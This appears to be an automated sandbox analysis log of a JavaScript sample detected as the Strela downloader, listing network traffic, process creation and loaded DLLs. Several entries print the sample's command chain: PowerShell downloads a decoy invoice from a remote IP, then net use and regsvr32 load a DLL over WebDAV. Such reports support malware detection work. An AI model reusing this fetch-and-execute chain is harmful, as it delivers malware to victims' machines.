Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.8:61150 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 241.42.69.40.in-addr.arpa

Source: wscript.exe, 00000000.00000003.1397346620.0000021F89399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1452187283.000001EFEAF5D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453460864.000001EFEAF5D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1452187283.000001EFEAF6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453174243.000001EFEAF40000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453460864.000001EFEAF6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1451719748.000001EFEAF8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1452187283.000001EFEAF6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453460864.000001EFEAF6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/j$
Source: net.exe, 00000007.00000003.1452187283.000001EFEAF6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453460864.000001EFEAF6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/~$
Source: svchost.exe, 00000009.00000002.2703208138.000002231F800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: svchost.exe, 00000009.00000002.2703264223.000002231F841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.emPt
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000009.00000002.2703208138.000002231F800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fs.microsoftX
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1452464569.000002231F650000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7800, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 16001220953190821144.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbmmt5ua.xq3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1604,i,3047333612342668782,1285642100344243533,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1604,i,3047333612342668782,1285642100344243533,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
